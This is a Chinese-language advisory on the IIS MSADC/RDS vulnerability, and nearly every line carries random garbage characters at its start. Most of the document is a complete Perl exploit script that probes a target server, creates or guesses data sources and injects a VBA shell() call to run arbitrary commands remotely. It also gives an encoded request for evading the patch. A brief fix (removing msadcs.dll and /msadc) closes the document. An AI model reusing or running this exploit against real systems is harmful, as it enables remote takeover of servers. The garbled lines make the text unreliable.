IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K\#+;\V ==& =3 涉及程序：
#H|]F86 ( Microsoft NT server
&0'BC T k#
/_ Zd 描述：
n= `UhC 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
b@Fa| >"_ o4xZaF4+ 详细：
&W1c#]q@r 如果你没有时间读详细内容的话，就删除:
*&7Av7S c:\Program Files\Common Files\System\Msadc\msadcs.dll
rc"yEI-``" 有关的安全问题就没有了。
AyddkjX =73wngw 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Hly$ Wm Y%2<}3P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3vx?x39*Y 关于利用ODBC远程漏洞的描述，请参看:
h< [ o;E 6u7>S? http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <S<(wFE@4 "[76>\'H 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
dI3U*:$X
http://www.microsoft.com/security/bulletins/MS99-025faq.asp VgOj#Z?K {$b] K-B 这里不再论述。
L 0}"H
. Pl
U!-7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Wcbb3N$+ ? r^ +- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
bEbnZ<kz* 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ZhW>H $Ad 5hkz rk `x81 #将下面这段保存为txt文件，然后: "perl -x 文件名"
'F1NBL .U m.dXBYU #!perl
El ,p }Bi. #
F4@``20| # MSADC/RDS 'usage' (aka exploit) script
~!\n #
I q MXd K| # by rain.forest.puppy
|oa 9 g2 #
\f .ceh;! # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:be BiO # beta test and find errors!
IZ "d s=w =JY9K0S~ use Socket; use Getopt::Std;
zmF_-Q`c getopts("e:vd:h:XR", \%args);
j"hfsA<_I d
H]'&&M print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mJp)nF8r~ 4 @ )|N' if (!defined $args{h} && !defined $args{R}) {
l-g+E{ZM print qq~
X0O@, Usage: msadc.pl -h <host> { -d <delay> -X -v }
UoCFj2?C -h <host> = host you want to scan (ip or domain)
s0WI93+z -d <seconds> = delay between calls, default 1 second
^h1EE=E" -X = dump Index Server path table, if available
"CX&2Xfe -v = verbose
l*rli[No -e = external dictionary file for step 5
y
~7]9?T Z7lv |m& Or a -R will resume a command session
fo@ 2@ 1--_E,Su> ~; exit;}
<Kl G#7M> (< gk<e* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
x 8|sdZFxo if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
$# klgiL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
MVV9[f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
d+KLtvB%M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
EEQW$W1@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
&3VR)Bxn /H+j6*}r if (!defined $args{R}){ $ret = &has_msadc;
XW6>;:4k die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
oDp !^G2A" `B;^:u print "Please type the NT commandline you want to run (cmd /c assumed):\n"
tP2hU[7Z . "cmd /c ";
,R=Mr}@u $in=<STDIN>; chomp $in;
s OD>mc#%Y $command="cmd /c " . $in ;
\p"`!n ^9eJ)12pK if (defined $args{R}) {&load; exit;}
fZ6lnZ %s~MfK.k print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ZK))91;v &try_btcustmr;
lmb5Z-xB e v>gh 0 print "\nStep 2: Trying to make our own DSN...";
t&( }`W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
xMDx<sk 79<{cexP print "\nStep 3: Trying known DSNs...";
[QA@XBy6 &known_dsn;
M xUj7ae Q9)/INh print "\nStep 4: Trying known .mdbs...";
:(,uaX> { &known_mdb;
{20^abUAS gQf'|%)AJ if (defined $args{e}){
h A6!F#1 print "\nStep 5: Trying dictionary of DSN names...";
vINm2%*zJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zzi%r=%r& xq v4gN6 print "Sorry Charley...maybe next time?\n";
6/B"H#rN exit;
*+h2,Z('a
?:OL8&0 ##############################################################################
ww VK15t HjKj.fV sub sendraw { # ripped and modded from whisker
g@YJ#S (} sleep($delay); # it's a DoS on the server! At least on mine...
s =Pwkte my ($pstr)=@_;
h 9c54Ux socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
zh)qo die("Socket problems\n");
8 C4DOz| if(connect(S,pack "SnA4x8",2,80,$target)){
hZ-No select(S); $|=1;
oqOv"yLJ: print $pstr; my @in=<S>;
NK]X ="` select(STDOUT); close(S);
/\_`Pkd3m return @in;
-:t<%]RfY } else { die("Can't connect...\n"); }}
0 } u EM_a lN*O</L," ##############################################################################
FR _R"p ?B@(W(I sub make_header { # make the HTTP request
Ee;&;Q,O.z my $msadc=<<EOT
k$?zh$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8r(S=dA User-Agent: ACTIVEDATA
.]g >. Host: $ip
['j_W$8n Content-Length: $clen
61>@-55k9 Connection: Keep-Alive
oe,L&2Jz@ Ej>5PXp'2 ADCClientVersion:01.06
l'HrU 1_7Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gJ cf~@s
}5-^:}gL --!ADM!ROX!YOUR!WORLD!
.%;UP7g Content-Type: application/x-varg
=xScHy{$ Content-Length: $reqlen
L,V\g^4$K j_c0oclSz EOT
q:@$$}FjL ; $msadc=~s/\n/\r\n/g;
%k
@ "* return $msadc;}
j@$p(P$ cx M=#Go ##############################################################################
dQLR%i#P8 XzGPBi sub make_req { # make the RDS request
2V7x my ($switch, $p1, $p2)=@_;
`=^;q 6f my $req=""; my $t1, $t2, $query, $dsn;
8? !=/Sc oUXu;@l if ($switch==1){ # this is the btcustmr.mdb query
IT]D ; $query="Select * from Customers where City=" . make_shell();
W*i PseXq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
tK{2'e6x $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)3P Q|r' _svY.p s* elsif ($switch==2){ # this is general make table query
pJ-/"Q|:i $query="create table AZZ (B int, C varchar(10))";
qwJeeax $dsn="$p1";}
&(3kwdI }6b =2Z} elsif ($switch==3){ # this is general exploit table query
1wSJ w $query="select * from AZZ where C=" . make_shell();
w%;Z`Xn&u $dsn="$p1";}
ORk8^0\ p>7 !"RF:U elsif ($switch==4){ # attempt to hork file info from index server
*#{[9d $query="select path from scope()";
kb{h ` $dsn="Provider=MSIDXS;";}
67Rsd2 % FW__SN$c elsif ($switch==5){ # bad query
rld4uy}m $query="select";
X'4e)E3*O $dsn="$p1";}
,":_=Tf. $ KQ7S>T $t1= make_unicode($query);
=FUORj\O $t2= make_unicode($dsn);
i{TErJ{}e $req = "\x02\x00\x03\x00";
I@~hz%' $req.= "\x08\x00" . pack ("S1", length($t1));
s,> 1n0a $req.= "\x00\x00" . $t1 ;
Z'p7I}-qr $req.= "\x08\x00" . pack ("S1", length($t2));
}
<; y, 4f $req.= "\x00\x00" . $t2 ;
7bOL ,S $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
7@al )G;~ return $req;}
MFO}E!9`q &o*/6X ##############################################################################
Vvu+gP'z. A7SBm`XJ)p sub make_shell { # this makes the shell() statement
1V(tt{ return "'|shell(\"$command\")|'";}
; =.VKW%U BtDi$d%' ##############################################################################
qV0C2j Z2 @q2If{Tk sub make_unicode { # quick little function to convert to unicode
wZN<Og +; my ($in)=@_; my $out;
xB"o
7, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}<`Mn34@ return $out;}
|Z}uN!Jm *+T IF"|1 ##############################################################################
| W:JI `~Nd4EA) 2 sub rdo_success { # checks for RDO return success (this is kludge)
Cc^`M9dP my (@in) = @_; my $base=content_start(@in);
[X[d`@rXv if($in[$base]=~/multipart\/mixed/){
'}h[*IB}5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q)x`'[3"7W return 0;}
zn|~{9>y R4=n">>Q ##############################################################################
@(2DfrC %m r sub make_dsn { # this makes a DSN for us
l9
RjxO.~U my @drives=("c","d","e","f");
m 5Gt8Z 6a print "\nMaking DSN: ";
SA s wP foreach $drive (@drives) {
r
J'm>&Ps print "$drive: ";
~3 4Ly my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]v96Q /a "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
biFy*+| . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
X& EcQ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
= BW>jD return 0 if $2 eq "404"; # not found/doesn't exist
m f]1mG}) if($2 eq "200") {
y1P KoN|K foreach $line (@results) {
c%Ht;
sK`* return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
2lPj%i 5 } return 0;}
g|_-O" l R:HF~} ##############################################################################
s\g"~2+ bf ]W_I]B sub verify_exists {
"1P 8[ my ($page)=@_;
7kapa59 my @results=sendraw("GET $page HTTP/1.0\n\n");
{ ii HeSD return $results[0];}
#x Z7% b oAu ##############################################################################
3 " fBp =y.!Ny5A sub try_btcustmr {
@#[<5ld my @drives=("c","d","e","f");
&x$1hx' my @dirs=("winnt","winnt35","winnt351","win","windows");
4A(kM}uRB @MM k=/WDw foreach $dir (@dirs) {
R<aF;Rvb5 print "$dir -> "; # fun status so you can see progress
S(xlN 7= foreach $drive (@drives) {
m ~a' print "$drive: "; # ditto
#M$Gj>E%4 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&`hx $reqlenlen=length( "$reqlen" );
0 =#)-n $clen= 206 + $reqlenlen + $reqlen;
R5=2EwrGP B
^>} M my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Cisv**9 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YB{hQ<W else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
D0 Cs
g39 !#P|2>>u ##############################################################################
;`<uo $R (}1 gO sub odbc_error {
^gx`@^ su my (@in)=@_; my $base;
<:=}1t.Z my $base = content_start(@in);
04{*iS95J if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
R zG7Xr=t $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r9[{0y!4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\ci'Cbn\o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o'n ju.' return $in[$base+4].$in[$base+5].$in[$base+6];}
6;rJIk@Fx= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
et[n ;nl>V print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
2S'{$m)
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
4t3 Y/X ]7SX _:'* ##############################################################################
w\wS?E4G CMk0(sztU_ sub verbose {
*xY}?vSs my ($in)=@_;
UuDs return if !$verbose;
@ 63Uk2{W> print STDOUT "\n$in\n";}
VKUoVOFvPR \ZSZ(p #1 ##############################################################################
(.6~t<DRv )*j>g38? sub save {
K/)*P4C- my ($p1, $p2, $p3, $p4)=@_;
05_aL` &eb open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=2;2_u? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-"m4 A0 close OUT;}
l) @Zuh lP$bxUNt ##############################################################################
JBY`Y ]V3 \Km gFyF sub load {
tuZA q;X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}O=QXI F5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
u#TRm?s @p=<IN>; close(IN);
v/ dyu $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
frB~ajXK $target= inet_aton($ip) || die("inet_aton problems");
v2X>% print "Resuming to $ip ...";
Mf [v 7\
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'9O4$s1 if($p[1]==1) {
zMZP3
xir $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
n/ ]<Bc? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&
w% %{lM my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@KtQ~D if (rdo_success(@results)){print "Success!\n";}
#Av6BGM|, else { print "failed\n"; verbose(odbc_error(@results));}}
"M e)' elsif ($p[1]==3){
CUz1 q*): if(run_query("$p[3]")){
Snm
m (. print "Success!\n";} else { print "failed\n"; }}
R.KqTEs<k elsif ($p[1]==4){
c i]IH]x if(run_query($drvst . "$p[3]")){
jkz .qo-% print "Success!\n"; } else { print "failed\n"; }}
r?^[o exit;}
NI(fJ%U \_H-TbU8 ##############################################################################
'3B\I# /`d|W$vN sub create_table {
Jptzc:~B my ($in)=@_;
N
=k}"2_= $reqlen=length( make_req(2,$in,"") ) - 28;
Y8*k18~ $reqlenlen=length( "$reqlen" );
*{3&?pxx $clen= 206 + $reqlenlen + $reqlen;
HH_w!_f my @results=sendraw(make_header() . make_req(2,$in,""));
al{;]>W return 1 if rdo_success(@results);
>0#Wk mRY my $temp= odbc_error(@results); verbose($temp);
4 1\r7
BS return 1 if $temp=~/Table 'AZZ' already exists/;
>G4EiJS return 0;}
<:v2 N/i l)JNNcej ##############################################################################
K|"97{*|2 UG)XA-ez sub known_dsn {
a[Q\8< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@I\&-Z ^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
gEWKM(5B} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
fpj,~+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
QfLDyJ v`e &4g]#A >@ foreach $dSn (@dsns) {
!8cS1 (a print ".";
H
l'za next if (!is_access("DSN=$dSn"));
<I iX_* if(create_table("DSN=$dSn")){
f 7g?{M print "$dSn successful\n";
'|v??`o # if(run_query("DSN=$dSn")){
IU
f1N+-z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<2{CR0]u print "Something's borked. Use verbose next time\n";}}} print "\n";}
Gz>M Y4+G <<xUh|zE ##############################################################################
B/P E{ / 9XU"Ppv sub is_access {
iy{ n"#uX my ($in)=@_;
xwSi}. $reqlen=length( make_req(5,$in,"") ) - 28;
+ -[M 7J $reqlenlen=length( "$reqlen" );
$UgQ1Qc $clen= 206 + $reqlenlen + $reqlen;
2(_+PQ6C= my @results=sendraw(make_header() . make_req(5,$in,""));
b< ]--\ my $temp= odbc_error(@results);
^|h5*Tb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F*&A=@/3 return 0;}
UIhU[f] N>Dr
z ##############################################################################
bnso+c A fpCkT [&m sub run_query {
} Mh@%2$ my ($in)=@_;
Z/y&;N4 $reqlen=length( make_req(3,$in,"") ) - 28;
jacp':T $reqlenlen=length( "$reqlen" );
Dgb@`oo $clen= 206 + $reqlenlen + $reqlen;
*2K/)( my @results=sendraw(make_header() . make_req(3,$in,""));
}|MP Qy return 1 if rdo_success(@results);
~Ibq,9i my $temp= odbc_error(@results); verbose($temp);
^lF 'KW$ return 0;}
fjc8@S5x9j {'.[N79xP ##############################################################################
^jY'Hj.Bs s-\.j-Sa sub known_mdb {
Dd1\$RBo my @drives=("c","d","e","f","g");
i|- 6 my @dirs=("winnt","winnt35","winnt351","win","windows");
^A 4bsoW my $dir, $drive, $mdb;
i)vbmV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rQ_!/J[9 v[3QI7E3 # this is sparse, because I don't know of many
1qEpQ.:]( my @sysmdbs=( "\\catroot\\icatalog.mdb",
MfX1&/Z+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
H9@24NFb "\\system32\\certmdb.mdb",
C'6 yt "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}8H_^G8 l%$~X0%DM my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
{F Ir|R& "\\cfusion\\cfapps\\forums\\forums_.mdb",
U
B o[iZ|% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h($XR+!# "\\cfusion\\cfapps\\security\\realm_.mdb",
75u 5zD "\\cfusion\\cfapps\\security\\data\\realm.mdb",
j|Q*L<J
"\\cfusion\\database\\cfexamples.mdb",
Gxtqzr * "\\cfusion\\database\\cfsnippets.mdb",
{ 8!\aYI "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{P/5cw "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
b7]MpL "\\cfusion\\brighttiger\\database\\cleam.mdb",
aP#nK "\\cfusion\\database\\smpolicy.mdb",
**oa R "\\cfusion\\database\cypress.mdb",
Yy, i,c`r "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
{LwV&u( "\\website\\cgi-win\\dbsample.mdb",
!$q *~F"S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
x] e &G!| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
R 6xJw2;_ ); #these are just
['`Vg=O.{ foreach $drive (@drives) {
x_X%| f foreach $dir (@dirs){
<w9<G foreach $mdb (@sysmdbs) {
L/39<&W print ".";
A9 D vU)1 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5[qCH(6 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
OG!+p}yD] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
0q ! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
A;ti$jy } else { print "Something's borked. Use verbose next time\n"; }}}}}
f@)GiLC'" GIs
*;ps7w foreach $drive (@drives) {
<$:Hf@tpMo foreach $mdb (@mdbs) {
IXz)xdP print ".";
axpn*(yE if(create_table($drv . $drive . $dir . $mdb)){
u A=x~-I print "\n" . $drive . $dir . $mdb . " successful\n";
W "}Cfv if(run_query($drv . $drive . $dir . $mdb)){
79 Y;Zgv print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
DO5H(a } else { print "Something's borked. Use verbose next time\n"; }}}}
xnp5XhU }
1>"Yw|F-|3 |B`
m WZ'" ##############################################################################
:krdG%r C5ia9LpRX sub hork_idx {
=D}]|ie print "\nAttempting to dump Index Server tables...\n";
c_R AtM<n print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s2N~p^ $reqlen=length( make_req(4,"","") ) - 28;
F Tk`Mq $reqlenlen=length( "$reqlen" );
K7jz*|2 $clen= 206 + $reqlenlen + $reqlen;
kbR!iPM-; my @results=sendraw2(make_header() . make_req(4,"",""));
-Y:^<C^^&8 if (rdo_success(@results)){
g"P!KPrf1p my $max=@results; my $c; my %d;
d8V)eZYXy~ for($c=19; $c<$max; $c++){
6.0/asN} $results[$c]=~s/\x00//g;
4^>FN"Ve`B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Ic,V ,#my $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
|."thTO $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
YS|Ve*t(L= $d{"$1$2"}="";}
+bC=yR foreach $c (keys %d){ print "$c\n"; }
-sqoE*K[8 } else {print "Index server doesn't seem to be installed.\n"; }}
0DIXd*oj & ~ 6`Ha@ ##############################################################################
]"DsZI-glW 017(I:V?(: sub dsn_dict {
6%8 ,OOS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
]>%M%B while(<IN>){
omEnIfQSO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
PL6f**{- next if (!is_access("DSN=$dSn"));
9bVPMq7}i if(create_table("DSN=$dSn")){
=4H"&E u{ print "$dSn successful\n";
MRn;D|Q if(run_query("DSN=$dSn")){
{;0+N -U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Co%EJb"tk print "Something's borked. Use verbose next time\n";}}}
N-Jp; D print "\n"; close(IN);}
wFHbz9|@I 41'|~3\X ##############################################################################
yo=0O v re- ;s sub sendraw2 { # ripped and modded from whisker
4#c-?mh_ sleep($delay); # it's a DoS on the server! At least on mine...
DGY?4r7>y my ($pstr)=@_;
/GQN34RD socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@$bEY#*C die("Socket problems\n");
(tLAJ_v!.K if(connect(S,pack "SnA4x8",2,80,$target)){
t X Wh q print "Connected. Getting data";
7B"*< %< open(OUT,">raw.out"); my @in;
[$bK%W{f select(S); $|=1; print $pstr;
JPq2C\Ka while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?-HLP%C(' close(OUT); select(STDOUT); close(S); return @in;
3gcDc~~= } else { die("Can't connect...\n"); }}
SJXA `uN}mC! r] ##############################################################################
btV
Tt5 NUvHY: sub content_start { # this will take in the server headers
{"x>ewAf my (@in)=@_; my $c;
;94e for ($c=1;$c<500;$c++) {
[IgB78_ $ if($in[$c] =~/^\x0d\x0a/){
`1T?\ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
GqT 0SP else { return $c+1; }}}
x% WL!L o
return -1;} # it should never get here actually
zK P{A Sk A/%+AH( ##############################################################################
VYj*LiR lNQ8$b sub funky {
oieZopY A my (@in)=@_; my $error=odbc_error(@in);
AzmIS m if($error=~/ADO could not find the specified provider/){
9:\YEs" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
PU\?eA exit;}
2Kg+SLU[~ if($error=~/A Handler is required/){
H}[ kit*9 print "\nServer has custom handler filters (they most likely are patched)\n";
6hvmp exit;}
42Vz6 k: if($error=~/specified Handler has denied Access/){
<:t D m print "\nServer has custom handler filters (they most likely are patched)\n";
e/{1u$ exit;}}
^q$m>|KI :{YOJDtR ##############################################################################
<Z -d5D > 1l(_SD;90t sub has_msadc {
zv%9? : my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p903 *F^[, my $base=content_start(@results);
rpZ^R}B%*v return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"kHQ}#6r return 0;}
rphfW: zxV,v*L) ########################
-q}c;0vL-a 9P M\D@A{ :*`5|'G} 解决方案：
}z$_=v 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
jQgy=;?Lwm 2、移除web 目录: /msadc
